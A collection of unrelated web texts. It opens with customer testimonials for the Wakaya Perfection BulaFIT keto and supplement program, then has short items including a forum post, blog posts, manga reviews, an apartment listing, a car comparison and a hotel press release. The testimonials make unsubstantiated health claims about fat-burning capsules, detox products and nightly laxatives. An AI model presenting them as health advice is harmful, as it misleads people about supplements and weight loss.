"I started my weight loss and health journey on February 16, 2017. I started at 217 pounds and I am currently sitting at 187 pounds!! I've lost 30 pounds total!! Am I proud of myself? Absolutely. One of the best things I've done for myself. I use the program guide 100%. I start off my day with a burn capsule. I then put the shake in my morning coffee. I do exercises every other day. That is due to health challenges that I have. If I feel like I can do it every day I do. My doctor is in agreement with the ketogenic lifestyle for me. I have my one meal around noon time. I eat healthy fats, I eat 20 carbs a day. I eat grass fed proteins. I eat raw almonds and vegetables for a snack. Around 4 PM I drink my second shake of the day. I drink it with a decaffeinated iced coffee.
I use the BulaFIT bobbles. I use the SlimCaps, DetoxCaps daily. I take NiteCaps at night. I also take Kava Capsules and Lax Capsules every night. I take Turmeric and Ginger supplements daily. I also take the multi-vitamin as well as the Bone & Muscle supplements.
I haven't been this healthy in three years. I absolutely love this program and I will continue it for as long as I need to to reach my goal weight of 145 pounds."
Joanne Kuehn - 30 lbs
"People see I have changed, doing more, as far as movement and eating different. And they now ask me, what are you doing? Making it easier to show the whole plan. First I had to work harder on myself so they would know they could do this too."
Evan Hokoana - 30 lbs
"The BulaFIT program has not only helped me lose weight but got me more active and able to do more activities. I have changed how I look at food and health overall. I now walk regularly and trying to get my kids more active as well."
Heather Corsivo - 30 lbs
"I walked on the treadmill 4-5 times per week for 30 minutes. I was eating a Keto diet, KetoFUEL shake for breakfast, and taking the Burn Capsule in the morning! I also took the DetoxCap everyday and a GoCap to help give me energy!"
Wilda Kelley - 28 lbs
"This is a fantastic program, the weight loss, the energy, the support, the testimonials, these have all played a important part. The cooking videos. I love sharing the information and people are noticing. Just wait and see what happens when we really start the exercise program. I love feeling this great, more energy, sleeping better. My husband does not snore at night anymore, and I do not have to wear ear plugs (LOL). Had a physical during this time and all is well. Thank you Wakaya."
Amy Watkins - 28 lbs
"I have dropped several sizes over the course of a short period of time and for that I couldn't be happier! I feel better all over including regulating my digestive system. I love the shakes and their versatility as well as what the Burn Capsules do (energy, appetite suppressant and curbing cravings) ... simply works! Jennifer Halliday has been so supportive and encouraging. Owen McKibbin has kept working out simple and at ones own pace and the DVD's are a nice extra."
Jay Gaisford - 27.2 lbs
"Of all the ways i have tried to loose weight in the past this has been the easiest and most successful process."
Teshor Oates - 25 lbs
"Love this program and would recommend to anyone with any level of weight loss goals."
Steve Klein - 25 lbs
"I have tried it all! The KetoFuel and Burn just work, I have no sweet cravings and lots of energy. I sleep very well on this diet and just feel good! It is the magical! I recommend it to everyone. Thanks Wakaya Perfection for these amazing products that actually get results!"
Nicole Johnson - 25 lbs
"The BulaFIT program, along with the proper diet and exercise has helped me feel great about my appearance! When I initially started I didn't think I have very much to lose. I now see that 25 pounds of FAT loss is much different then your usual diet. I feel awesome!"
Blake Graham - 23 lbs
"I'm one of those who has always had a hard time losing weight. I started the BulaFIT program, changed my diet, increased my activity and I'm down 17 lbs!"
Julie Berger - 22.6 lbs
"The BulaFIT program has really given me a new life. I have lost 22.6 lbs since Feb. 14th. With summer upon us, I have been able to wear 3 different pairs of shorts that I haven't gotten into in several years. I also has to buy new jeans. I'm wearing clothes that I've had in the back of my closet and haven't touched in years. I still need to be more consistent in exercising. But I have been following the Keto diet pretty faithfully. I love that we have the Keto recipe page as everyone posts a lot of great recipes. And the support from the Wakaya community is unbelievable. The motivational calls are awesome! My upline has been wonderful. I've lost enough weight now that people are really starting to notice. Sharing the program is easy and I want to help others gain a new healthy lifestyle too! Thank you Wakaya!!!!"
Shelly Short - 22 lbs
"April 2016 I gave birth to our 7th baby. Going into that pregnancy I was the highest in weight I have ever been. I didn't gain too much during pregnancy, but got to experience gestational diabetes during the last few months. I was very discouraged about my weight, especially after giving birth and waiting for my body to heal and recover, I was very impatient. Then I was left with "the mom body", saggy skin, extra fat, mom brain/foggy brain, and no energy. I began the Keto lifestyle in February and supplemented a meal or two a day with our KetoFUEL. I didn't jump in to the BURN because I was nursing still. I lost weight, gained confidence and a better love of the mirror. Since I have quit nursing and began the BURN capsules, the fat continues to melt, I have more than enough energy to keep up with all my kids and our schedules, and I am not stuck in foggy mom brain mode. I also have energy and a desire to exercise and am thankful for the workout tips and training from Owen Mckibbin, Jennifer Halliday and others. I am so thankful for these products, and for the love and support of my Wakaya family. Seeing everyone's transformations and excitement keeps me motivated, as well as all the new old clothes I get to wear again. KetoFIT for life!!"
Barb Pitcock - 21 lbs
"Everyone can do this and the fat just melts off with the BulaFIT program. I am not hungry and I do not feel tired or lethargic, I can even exercise, and cutting the sugars out just makes you feel better than ever!"
Michele Ota - 21 lbs
"I have battled with my weight for most of my life. I have tried cleanses and detoxes and they were so restricting! The Ketogenic lifestyle and BulaFIT program are so amazing! I never feel deprived! It's the easiest thing I've ever done!!! Thank you Wakaya Perfection!"
Susan Clements - 20.4 lbs
"I love BulaFIT. It helps us be accountable and know that we are not alone!! Go warriors"
Paul Welbig - 20 lbs
"My story started at the beginning of the year when I realized that I had actually gained 20 pounds since moving here to Texas about 3.5 years ago. I called it the "Texas Twenty" because it's really easy to do with the endless Tex-Mex, chips & queso, BBQ, margaritas, etc.! I started the BulaFIT Challenge on Mar. 1 and my goal was to lose my "Texas Twenty" by my next birthday (May 16). I followed the program closely by drinking KetoFUEL shakes in the morning along with the BURN Capsules and then I'd eat Keto-friendly meals for lunch and dinner (thanks to the Keto recipes posted on Facebook!). Once I started to lose some FAT pounds, I also began to ride my bike in the afternoons, which kicked my fat loss into overdrive! I didn't even realize how terrible I felt before I felt better (if that makes sense...), plus my body looked SO MUCH BETTER when I put my before/after photos on Facebook - even at only 10 pounds. I simply look younger & healthier! Because of that, I have inspired several friends to do the same and they have begun their BulaFIT journey."
April Sullivan - 20 lbs
"The Burn Capsules helped my sugar cravings, I could never get off sugar before. I have also never been able to stay on a diet longer than 3 weeks. The support from Owen, Jennifer, the BulaFIT warriors and seeing the weight come off has given me motivation and confidence. I was able to join a kickboxing class and have been consistently taking 2-3 classes each week - I had not been able to exercise for 4 years, because I had no energy or motivation. This program has saved my life!"
Janice Marcum - 18 lbs
"I love a challenge and this was no different. I endured failures through this but I also had successes that I'm proud of. I enjoyed learning how to change my eating habits and incorporate a Keto friendly diet. I'm crazy about the BulaFIT exercise DVD that is fully engaging but at the same time fun enough to do with my kids. The challenge was for me but my family reaped the benefits. It feels great to have the weight off! I feel stronger, healthier and more confident in my own skin!"
Lolani Fredericks - 18 lbs
"The burn really helped curb my sugar cravings I was addicted to sugar! I'm a baker so the temptation is always there. I still taste things because I have to but I can stop at one bite now. I have been exercising more regularly and eating much better. It's easier to stick with something when you see results!"
Cathy Buchanan - 18 lbs
"After a year of going organic with my grocery purchases, I still battled a belly that I couldn't effectively change. I was so frustrated and believed there was no hope for me as I approached 60 years old. When the BulaFIT program launched, I was filled with hope after watching the corporate staff and some of the leaders have incredible results! I wasn't familiar with the Ketogenic nutrition plan, but was eager to learn and adjust my eating habits. The BulaFIT guide was extremely easy to use to navigate this complex nutrition plan. Drinking 2 KetoFuel shakes with 2 Burn Capsules and a Keto friendly meal gave my fat loss and boost. Adding the fitness component per Owen McKibbin's advice took my fat loss beyond what I expected. At 18 pounds down, I am thrilled with my energy and mobility to spend more fun time with my grandson's. Thanks Wakaya Perfection!!"
Tania Opamin - 18 lbs
"The BulaFIT Challenge has changed my life completely! This new lifestyle has improved every part of my life. Not only have I lost 18 lbs and almost 7 inches in my waist, I've gained a waistline and muscle in places I never thought would happen, ever! I now eat, I didn't eat much and now I eat clean and healthy. I go to bootcamp 3-5 days a week, which includes jogging, sprints, crunches, push-ups, leg raises and planks and I drink water (never drank much to start)."
Paula Lalicker - 17.8 lbs
"I weighed the most I have ever weighed except for when I was pregnant with my youngest, and I was miserable. My body hurt all the time, I had no confidence, I hated the way I looked, and I had no energy. When Wakaya Perfection brought the BulaFIT system into my life that all changed. With the help of the products, changing the way I eat, and the guidance of our fearless fitness expert Owen. I am now starting to get my confidence back and don't mind having my picture taken. I have shed almost 18 lbs of fat and over 18 inches total from my body and I love it! Thank you to Wakaya Perfection for changing my life! I am never going back!!! Bula & Vinaka!!!!"
Jackie Hunter - 17.6 lbs
"I've never liked my tummy after having six children. I've dieted and exercised in the past only to lose weight but not fat, and yes I still had the tummy even after countless situps. Once I got off the diet my weight would return. Now with BulaFIT, I can see a huge difference with minimal exercise and a change in the way I ate. This is hope for those who have given up on their dream for the way they always wanted their body to look Seeing is believing, BulaFIT is proof positive there is a way."
Dawn Johannsen - 17.1 lbs
"The BulaFIT program is the only thing that has ever helped me lose weight. Cutting carbs is not as hard as I thought it would be. I'm excited to add more exercise now that the weather outside is better!"
Kristy Southwick - 17 lbs
"I'll be honest, when starting the BulaFIT challenge I thought I'd see the biggest change on the scale. I lost a lot of weight the first month then hit a plateau. I added in the workouts and although the numbers on the scale didn't move that much, my body was still changing in the way my clothes fit. I feel amazing every single day and have never seen such great results, nor have I stuck with one program for so long. The KetoFuel shake and Burn Capsules made transitioning easier and the support of the BulaFIT family made all the difference in keeping me going. And it's only just the beginning..."
Ezinne Nnorom - 16.8 lbs
"I've embraced the Keto lifestyle! At first, I thought it would be hard but it's actually been the opposite... There are so many great Keto recipes out there that I never knew about before BulaFIT...and they are super good! I challenge myself more in my workouts and the support from everyone is AMAZING! Right now I am looking to lose maybe 15 or so more pounds of fat and tone but since starting the BulaFIT Program I have lost 16.8 lbs and counting..."
Christine Johnson - 16 lbs
"Following the BulaFIT program has helped me feel more energized. For the most part is has been easy for me to stay away from carbs and sweets. I have had more ambition to start exercising more. I also have noticed since being on the program i have not had as many stomach problems as I use to."
Leslie Hokoana - 14.8 lbs
"This experience has and continues to be life changing. I am so grateful that I decided to be a part of the BulaFIT challenge. While I am far from my goal weight, this is now my lifestyle beyond the BulaFIT challenge. I remain confident in my ability to shed the body fat I would like to and drop my pant size even further! I tried spin class for the first time and even entered a virtual 10K!!! I would never have done those things prior to the BulaFIT challenge. Trying out different Keto recipes has been fun also!!!"
Carrie Schwartz - 13 lbs
"BULA! I am so excited to be on this amazing journey with such inspirational people! In about 1 months time I have managed to shave off several inches and lose 13 pounds. I owe it all to my amazing fitness family for pushing me through my workouts and the BulaFIT Program. Though results may vary the Ketogenic lifestyle is the perfect fit for me. Thank You Wakaya!"
Debbi Moore - 11.2 lbs
"I am so excited to actually be able to get down below 120 lbs! I have tried different plans off and on over 10yrs and NEVER got below 120! I had lost over 10lbs using the Detox and Slim and to me that was amazing! Then when I got the BulaFIT with Burn Capsules and started eating more Keto friendly it was great fun! I did have some days where I was feeling the Keto Flu, I cut back on the burn to 1/3 and then to a 1/2. I also added more water and started making more Keto friendly recipes!
I did start doing more stairs and minimal exercises...but just now starting to be more consistent on Owen's exercise plan."
Jeff Barney - 38 lbs
"I started the BulaFIT program and love that it has been so simple. It's great because I'm not hungry during the day and I have tons of energy. The weight loss has been fast, and most importantly, I feel so much better than before. Changing my diet and physical activity with BulaFIT is doing wonders!"
Cathy Buchanan - 10.2 lbs
"Having the simplicity of 2 meals with the exact ratios for a 'perfect keto meal' has helped take any guess work out of the equation. I now look forward to the one meal I prepare. With the BulaFIT Facebook Support Group, I know I'm not doing this alone. I love the meal ideas and the exercise tips. Thanks so much Wakaya Perfection!!"
Tia Harrid - 13 lbs
"The BulaFIT program is phenomenal! I have tried everything and I love that I'm not counting calories because I'm not hungry! I've been able to change what I eat, how I exercise and how I life!"
Michele Ota - 9 lbs
"It's been so hard to lose weight. The program is complete including nutrition, diet and exercise. BulaFIT makes it so easy!"
Christopher Berger - 30 lbs
"The best part about this program is that I AM NOT HUNGRY. It blows my mind that I don't feel the need to eat. I'm excited that I'm changing my eating and activity habits."
Jimmy Bailey - 24 lbs
"The program is incredible. Amazing energy, and no craving, so easy to get though the day and even increase my activity."


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Since everyone including writers seem intent on making Batman superhuman (his capicity for learning all languages, martial arts, electronics, detective work, computers, electronic repairs, 100 foot falls) let him fight Thanos. Of course Batman is given 2 months and a half of preptime, any and all weapons, suits and vehicles he has. He can even have Robin and Nightwings assistance. Now Batman is one of my most favorite superheros but I think he is often given too much credit, I mean God look at his performance in Hush. This is gonna get punky all riled up but what the hell. And I reiterate I love Batman almost as much as punky.


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Brooklyn, NY, US
The Ghost Architectural Laboratory is the research facility of MacKay-Lyons Sweetapple Architects in which selected participants design and build architectural follies dealing with issues of landscape, material culture, and community. Over the course of two weeks the projects are designed and built by a group of diverse individuals with a wide range of experiences and skill sets and the projects reflect the impact of Nova Scotia on this peculiar but beautiful collaborative effort.
Ghost Lab 10 took place during the summer of 2008 and dealt with the concept of a minimal living condition and the circadian rhythm of the landscape. Conceived as a single home with a 1000-foot courtyard, two pavilions were developed on opposite ends of a drumlin overlooking the North Atlantic Ocean. Each pavilion addressed the time of day during which its activities occurred and were loving nicknamed the 'day house' and 'night house'.
I was personally involved primarily with the 'night house' and the images focus on that half of the project. It embodied the night time rituals of reflection, bathing, and sleeping. During the daylight hours when the project was not in use it sat as a pure object in the landscape – during the night it drew its focus inwards and upwards towards the omnipresent night sky.
Ghost Lab 10 was documented by a journalist and photographer from Monocle Magazine which ran an article on the workshop in its September 2008 issue.
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Precious Time
I've been asking a serious question recently: "Where in the world did my day go?!"
Lately, time has been passing me intangibly fast. I haven't been able to properly manage my time between all of my duties and hobbies, and, of course, this blog. I've been drifting through the days, often forgetting things, and not being the brother, son, or boyfriend that I need to be.
In our lives, we often go off spending our time striving for this or that, like that raise, or maybe that new car. Or maybe even smaller; perhaps you spend way too much time playing Skyrim or replaying old Legend of Zelda games. All too often, we lose sight of how to manage our time in a way which reflects what is important. If God really is more important to us, shouldn't we spend more time devoted to him than anything else?
Honestly, I don't think any of us could truly accomplish this feat, but it is an interesting question. Why shouldn't we devote more time to God, let alone effort, if we want to follow him before anything else.
Time management is a daunting task, for everyone who's not a schizophrenic schedule monger. I know it's difficult, but we have to trust even this to God. Like everything else in life, God has the answers. Even when it's difficult, we need to entrust this to God.
As Matthew 28: 19 (NIV) says "Therefore go and make disciples of all nations, baptizing them in the name of the Father and of the Son and of the Holy Spirit." This is what God has told all of us to do for everyone everywhere. So join me in the quest to not only live life to the fullest, but also to always work to bring people to Christ. And seriously, there's a lot more people than just us out there with the message of Jesus.
I'm working on setting my priorities straight, and making sure that this purpose comes first.
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Fruits Basket Volume One – Zany antics are go!
July 9, 2009
Q: So Matt, word on the street is you read Fruits Basket volume one. How was it?
A: The streets don't lie Matt. It was enjoyable. It follows the adventures of a high school girl named Tohru Honda as she adjusts to life after her mom dies.
Q: Oooooo that sounds sad. Was it sad?
A: Not really actually. She's really cheerful and optimistic all the time. She also moves in with the Sohma family and they are all quirky.They get into all kinds of trouble together.
Q: So it's more of a comedy series?
A: Yes. It's more of a makes you smile with their whacky antics, as opposed to laughing out loud funny. It's silly and fun.
Q: Do you plan on reading the next volume?
A: I've already started the second. One of my friends lent me twenty or so of them. Expect to see a lot more of Fruits Basket on the site.
Q: Boy, that sure was nice of her to lend you all of those.
A: Hey! How did you know it was a her?
A: Well, until next time manga fans, may the spirit of the Great Lincoln watch over you.
Matt's Manga Minute: Fairy Tail Volume One
July 2, 2009
Q: What is this post all about?
A: Well, that's a good question Matt. In my manga minutes I'll be conducting a short interview with myself about the latest manga I read.
Q: So what's Fairy Tail about?
It's about a wizard named Natsu who is a member of the wizard guild Fairy Tail. He's on a quest to find his missing dragon/master/parent figure.
Q: Did you enjoy it?
A: Yea, it was a fun read. The setup kind of reminds me of One Piece, and that is not a bad thing. There's also a talking cat named Happy.
Q: Was the action hot?
A: So hot. (Natsu is a fire wizard after all.)
Q: Are you going to be picking up volume two?
A: At the first chance i get.
Q: Well Alright, thanks for your time Matt.
A: No problem Matt.


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Golden Horn
The Golden Horn is an Iznik tiles and ceramics design variation of the blue-and-white decoration. The culmination of the production was from the late 1520s to 1550s. Golden Horn design was aptly named due to fragments in this style were excavated in the Golden Horn area in Istanbul. The decoration consists of a series of thin spirals adorned with small leaves.


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$1,272—$1,513 1—2 bed 7365 Howard Ln, Eden Prairie MN, 55346
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7365 Howard Ln, Eden Prairie, 55346
Commute to Downtown Eden Prairie
The rent at Quail Ridge Apartments ranges from $1,272 for a one bedroom to a $1,513 two bedroom. Apartments in this building are about 8% less expensive than the Eden Prairie average.
This apartment is in Eden Prairie. The closest park is Round lake park.
Quail Ridge Apartments has a Walk Score of 23 out of 100. This location is a Car-Dependent neighborhood so almost all errands require a car.
High atop a hill in the country setting of oak trees and panoramic vistas is Quail Ridge. There are a 108 brick and redwood apartment homes that reflect the grace of their design and the serenity of their environment. Quail Ridge commands a magnificent view of the Eden Prairie countryside. Bordered by the clubhouse and first tee of Bent Creek Golf Course, Quail Ridge is nearly eight acres of unobstructed, breathtaking views with an elegance that characterizes the art of living well.
Pets allowed: No
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Eden Prairie, Minnesota, 55346
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Reflecting on Muncie's 2015 sesquicentennial and to honor Indiana's bicentennial, Masterworks Chorale has commissioned a new composition for chorus and orchestra to be premiered as the grand finale of our season. This Middletown Cantata is based on texts drawn from the archives of the Center for Middletown Studies: letters, diaries, poems, interviews, and newspaper articles. These items and the Middletown archives themselves capture a picture of Muncie and the experience of similar Midwestern towns since their founding. Set to music by composer Marjorie Rusche, these texts will bring all of Muncie and Indiana together for a celebration of American life. We hope you will join us for this exciting event on Saturday, May 14, at Muncie Central High School, at 7:30.
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text: Dayton's Hot Country B945 has your tickets for the Trip Around The Sun Tour with Kenny Chesney, Thomas Rhett, Old Dominion & Brandon Lay Saturday, June 16th at MAPFRE Stadium in Columbus. Listen Monday through Thursday for two artists back to back, to win a pair of tickets to this amazing tour! Caller 9 at 457-5483 wins! Here's The Trip Around The Sun Two-fer for Today!


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In the latest Rider 2017.3 EAP build, we have added a new C# Interactive tool window. It allows running C# statements without having to wait for compilation. This means we can get immediate feedback on what a given expression will return. … Continue reading
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The 2018 Chevrolet Equinox and 2018 Ford Escape, two American light heavyweights residing in the heart of the popular crossover segment, are in their third generation. The Escape, in its fifth year since a refresh, remains a consistent top seller in Canada, while the Equinox resides in the middle of the pack just one year after its most recent update. The top-of-the-line models are reviewed here:
2018 Chevrolet Equinox Premier 2.0L : The Equinox shaved 400 pounds from its previous iteration, but still clocks in as one of the largest offerings in this segment. You wouldn't know it from its front, thanks to an aggressive chrome grille and LED-headlight combination that produces a bold stance, enhanced by 19-inch aluminum wheels and dealer-installed roof-rack cross rails. From the side, a sleek design takes shape, even though the elongated rear end comes off as more minivan than cute hauler.
2018 Ford Escape Titanium: Compared with the smooth lines of the Equinox, the Escape's boxier approach is reminiscent of its other SUVs, the Explorer and Flex. The style doesn't show its age, a big reason for the consistent sales. The angle from the side shows off rakish cut lines at the beltline and rocker, as well as roof-rail crossbars for an additional $150 and 19-inch black aluminum wheels that are part of the sport appearance package for another $1,200.
Chevrolet Equinox: If there's one major disparity between the two vehicles, it's on the inside. The Equinox features a modern horizontal layout that's simple and sophisticated, elevated by perforated-leather seating and a leather-wrapped steering wheel. (Keep in mind, these become cloth seating and plastics down the trim line). Rear passengers have ample head and leg room, as well as a fully flat floor to assist that middle-seat passenger. A plethora of plug-in outlets plus heated seats are provided, although the driver's seat has just eight power positions.
Ford Escape: In contrast to the exterior, its cockpit has not held up well over the years. Competitors have upped their game by focusing on luxury, and the Escape's top Titanium trim shows its age with a thin, firm 10-way power driver seat that only uses leather as a trim. It was difficult to find a comfortable driving position owing to upright, stiff seating and less space all around than the Equinox.
Chevrolet Equinox: Chevrolet offers two turbo-four gas engines in 1.5- and 2.0-litre forms, as well as a 1.6-litre turbo diesel. This tester came with the bigger gas engine, producing 250 horsepower through a nine-speed automatic transmission (smaller units get six gears). It's easy to drive and is calm and quiet, with a smooth ride and precise handling. Fuel economy in the 1.5 litre and diesel are near top of pack in the segment, but the nine-speed gearbox still helps it achieve an official rating of 10.9 litres/100 km in the city and 8.3 litres/100 km on the highway. Recommendation of premium fuel for the 2.0 litre may draw scoffs from drivers.
Ford Escape: The Escape has three engines as well, but no diesel. An older 2.5 litre is its base to allow for a starting price at $22,699, followed by the latest 1.5- and 2.0-litre EcoBoosters. To match up against the larger Equinox engine, Ford provided the 2.0-litre twin-scroll EcoBoost version with 245 hp mated to a six-speed automatic transmission. It can zip around with precision, showing early-gear quickness and responsiveness to steering inputs. However, fuel ratings are a distant 11.5 litres/100 km in the city and 8.8 on the highway, and our real-world combined test turned up a margin of 1.5 litres/100 km in favour of the Equinox.
Chevrolet Equinox: From the base trim, consumers are treated to a large MyLink infotainment screen that starts at seven inches and goes up to eight. The value continues with standard features that include Apple CarPlay and Android Auto capability, OnStar, 4G LTE with a built-in WiFi hot spot, heated front seats, a parental-control safety system called Teen Driver and a rear-vision camera. Premier trim adds two USB ports in the back, heated seats throughout, ventilated seats in front, wireless charging capabilities that also act as a handy slot holder for your smartphone and plenty of safety technology.
Ford Escape: Moving from MyFord Touch to Sync 3 infotainment was a major step forward for the Escape. Unfortunately, the eight-inch Sync 3 touch-screen system featuring Apple CarPlay and Android Auto only comes standard at the third-tier SEL trim, while base Escape owners deal with a miniscule 4.2-inch screen that features voice recognition. Those paying for Sync 3 (also available as an option on second-tier SE for $1,500) will enjoy how easy it is to understand and even more importantly, its instant responsiveness. All infotainment aside, the SEL trim provides torque-vectoring control, heated front seats and dual-zone automatic climate control. Similar to the Equinox, driver-safety technology is only found at its top tier, along with a heated steering wheel.
Chevrolet Equinox: With 847 litres of cargo space in the trunk and 1,798 litres behind the first row, it possesses plenty of space for a family of four to travel, but the second row doesn't fold fully flat. An additional 79 litres of storage space are beneath the rear load for other valuables, as well a hands-free power liftgate in the Premier trim that can be activated by a waving foot.
Ford Escape: If you're looking for that extra space and a fully flat second row, the Escape has the Equinox beat, with 962 litres of trunk space and 1,926 litres behind the first row. The Escape can also be opened by a foot-sweeping motion.
We were able to bring in two vehicles at nearly the same price ($43,890 for the Equinox and $42,689 for the Escape). The 2018 Equinox was favoured for style, technology and connectivity as well as fuel economy, while the Escape won out on cargo capacity. As for performance, it comes down to wanting a smooth ride in the Equinox or one with a little more pep in the Escape.
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'Twas the Night Before Christmas...
Courtesy of Jamie Anderson of Anderson Entertainment, and the wonderful voice of Denise Bryer, we have a free festive three-minute download for you, as Zelda gives her evil take on The Night Before Christmas. One for your Christmas playlists!
Back in action after thirty years comes Terrahawks, the fondly remembered action adventure comedy originally brought to you by the men who created Thunderbirds, Captain Scarlet and Dick Spanner.
In the not too distant future, the Earth finds itself under constant threat from Zelda, a blood-thirsty android who, along with her fiendish family and monstrous creations, has established a base on Mars. The only thing standing between this evil queen and her quest for the ultimate annihilation of mankind are the Terrahawks - an intrepid band of heroes led by the stern but fair clone, Doctor Tiger Ninestein.


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Tuesday, December 22, 2009
Merry Christmas and Reminders to practice speaking Taiwanese.
It is great to see Taiwanese young professionals enjoying their Taiwanese language even though for their whole school life, they have been forced to use Mandarin and they are sometimes out of practice in expressing certain things in Taiwanese.
Here's a rough translation of their comments:
"Merry Christmas..." (speaker is originally from Chiayi)
"Merry Christmas, pastor... You must remember to practice Taiwanese language every day..." (speaker is originally from Pingtung)
"I'm sorry but I am too busy at the moment [to say anything on the video]..." (speaker is from Taipei)
"Merry Christmas, pastor. We all practice Taiwanese every day, how about you?" (speaker is Hakka)
"Do you remember how to speak Taiwanese? (This college student is from Kaohsiung and spoke too fast for me to catch two words...)"
"Merry Christmas, pastor. Thanks for letting us use your apartment to celebrate Christmas. ...(in Mandarin: "Goodbye.")...Sorry, I should not say [goodbye in Mandarin], I should say, "Goodbye." [in Taiwanese]... Come back soon." (speaker is from Pingtung)
If anyone has video links of other young folks in Taiwan using their non-Mandarin language mother tongue, please let me know. Use your digital camera to take video and you can upload your video clipping easily. Especially please take opportunities to video-tape young folks speaking Austronesian languages in Taiwan.
Here's another video of someone in Australia discussing mother-tongues in Hoklo Taiwanese. Notice how he still calls Mandarin "Kok-gí" [國語]-- the "national language." This propagandistic designation continued from the KMT authoritarian era creates a prestige-language environment that demeans other mother tongues in Taiwan.
The more appropriate designation of Mandarin would be "Hôa-gí" [華語] which is the international standard designation for Mandarin. Such usage would remove any problems in Taiwan, but still causes problems in China since it still propagates both a "prestige" title as well as misinformation. The Hôa 華 refers to ethnic "Chinese". That is like calling French "Latin" to the exclusion of other Latin-derived languages.
In Taiwan, there are three mutually unintelligible classical-Chinese derived languages: Taiwanese, Hakka, and Mandarin. There are many more mutually-unintelligible Chinese-derived languages in China including Cantonese, Shanghainese, etc. Mandarin is the furthest from classical Chinese because it was heavily influence by the non-Chinese Manchu conquerers who ruled China and other east and central Asian countries in an empire that lasted for four hundred years. It could be argued that because of the forced usage in authoritarian communist China, Mandarin is becoming the main "Chinese" language and so the designation is appropriate. At any rate, the designation "Hôa-gí" [華語] is the international standard and should be used in Taiwan instead of "Kok-gí" [國語] for clarity and neutrality. One could also call it Pak-kian-gí Beijing-Speach [北京語] -- but in most people's minds, this designation has come to refer to a northern dialect of Mandarin.
2 comments:
- kid.wh(y) said...
okay, i'm just going to be a little snarky here ... merry christmas? remember to practice speaking taiwanese? i'm an ABC (sorry, yes I'm chinese and taiwanese!)
i've forgotten how to speak taiwanese and mandarin both, so yes, i'm a bad taiwanese/chinese/asian-american. but i am trying to relearn.
however, i think it's a little ironic that "some people," myself included, can feel so opposed to Mainland influence in taiwan. what about western/christian influence into asian culture?
everyone's spirituality is their own business, but will we live in one world in the future where western spirituality/monotheism dominates, and older spiritual systems that celebrated nature, polytheism, or simply a contemplation of self/the universe (buddhism, daoism, animism, tian xia, etc.) do not exist?
just some food for thought. thank you for your writings.
- February 22, 2011 at 7:27 AM
Happened to stop by and couldn't help pointing out an accuracy issue with the second embedded video by loki2501. He's actually a native Teochew speaker who lives in Belgium, so while Hokkien is similar, it is not actually his native language. If you've watched any of his other videos, he is actually quite good at several other languages if that interests you.
- September 13, 2011 at 1:07 PM


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It feels like just yesterday we were saying goodbye to our families in Miami to hop on a plane to Israel, oh wait, that's because we were! We're so ecstatic to say that we have finally made it to the Holy Land, the beautiful state of Israel. The moment we stepped off our plane, our Israeli peers joined our family and we're loving getting to know these seven wonderful people. They even brought us falafel and pita so we could get to know Israeli food immediately. While most of our time has been spent on either a plane or a bus, just being able to look out the windows and pass through country on our way up to the North was incredible. We have gone through our expectations of the trip, an outline of where we are actually going, and what we're most looking forward to, and we cannot wait to kick start our time exploring the country tomorrow. That's all for now from bus 1520, but get ready to hear about our amazing adventures for the next ten days!
A long plane ride later, AND WE MADE IT!
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HARD ROCK HOTEL SAN DIEGO ENTERS THE BLACK FRIDAY/CYBER MONDAY RACE WITH LOWEST RATES OF THE YEARNovember 6, 2014
$5000-per-night, ultra-VIP, Rock Star Suite up for grabs for just $99.
(San Diego) November 6, 2014 – It's an American tradition that early bird shoppers on Black Friday and internet-savvy consumers on Cyber Monday are handsomely rewarded with the best deals. This year, Hard Rock Hotel San Diego is treating rock star hopefuls to the lowest rates of the year, with a few added surprises in keeping with the holiday shopping tradition of unbeatable pricing.
Beginning at midnight on Friday, November, 28, through midnight, on Monday, December 1, Hard Rock Hotel San Diego will treat guests who book stays online at www.hardrockhotelsd.com using Promo Code BF2014 to an ultra-low starting rate of just $99 per night, with every single booking for stays through January 11 eligible for a complimentary suite upgrade, subject to availability. Additionally, the first five guests who book stays on Cyber Monday, for stays through January 11, will be upgraded to one of the property's 17 exquisite Rock Star suites, which are regularly priced up to thousands per night. Even the hotel's famous Diamond Suite – a 1,200 square-foot, two-bedroom playground with its own private outdoor Jacuzzi – is up for grabs, and one person will call the rock n' roll palace, which is often priced up to $5,000 per night, home for as little as $99 per night.
In addition to once-a-year prices, every guest who books a stay from Friday, November, 28, through midnight, on Monday, December 1 will be entered to win a complimentary New Year's Eve 2015 package from Hard Rock Hotel San Diego. The package includes lux accommodations, entry for two to San Diego's largest and most glam New Year's Eve party taking over 40,000 square feet of the hotel, as well as complimentary in-room champagne.
"Everyone deserves the chance to enjoy the suite life," said Matt Greene, general manager of Hard Rock Hotel San Diego. "The limited-time, ninety-nine dollar Black Friday and Cyber Monday rates with complimentary upgrades represent a fantastic savings that we hope our guests will enjoy whether they are returning to the property or checking out the hotel for the first time. But the opportunity to stay in one of our famous Rock Star Suites for just $99 is an added surprise to say thank you to our guests and of course to reward those who are the quickest on the draw."
The Black Friday/Cyber Monday rates are bookable by visiting www.hardrockhotelsd.com and using Promo Code 2014 beginning at midnight on Friday, November 28 and will be offered through midnight on Cyber Monday, December 1, subject to availability. Black Friday/Cyber Monday rates are bookable for dates from November 28, 2014 – January 11, 2015. Certain blackout dates apply. Guests who earn the Rock Star Suite upgrade and the New Year's Eve package winner will be notified by email or phone the week of December 1.
About Hard Rock Hotel San Diego
Located at the entrance of the Gaslamp Quarter across from the San Diego Convention Center, Hard Rock Hotel San Diego boasts an upscale, contemporary design, signature restaurants, a sophisticated nightlife, superior customer service and, of course, the distinctive thread running through all Hard Rock properties – rock 'n' roll. Amenities include 420 rooms and suites including 17 Rock Star Suites, over 40,000 square feet of unique meeting and event space, a world-class Nobu restaurant, Float pool lounge and street-level 207 bar. Additional features include Maryjane's, Rock Spa and fitness center, a landscaped rooftop pool deck with private cabanas, and a signature Rock Shop. For more information, visit www.hardrockhotelsd.com.
About Hard Rock International
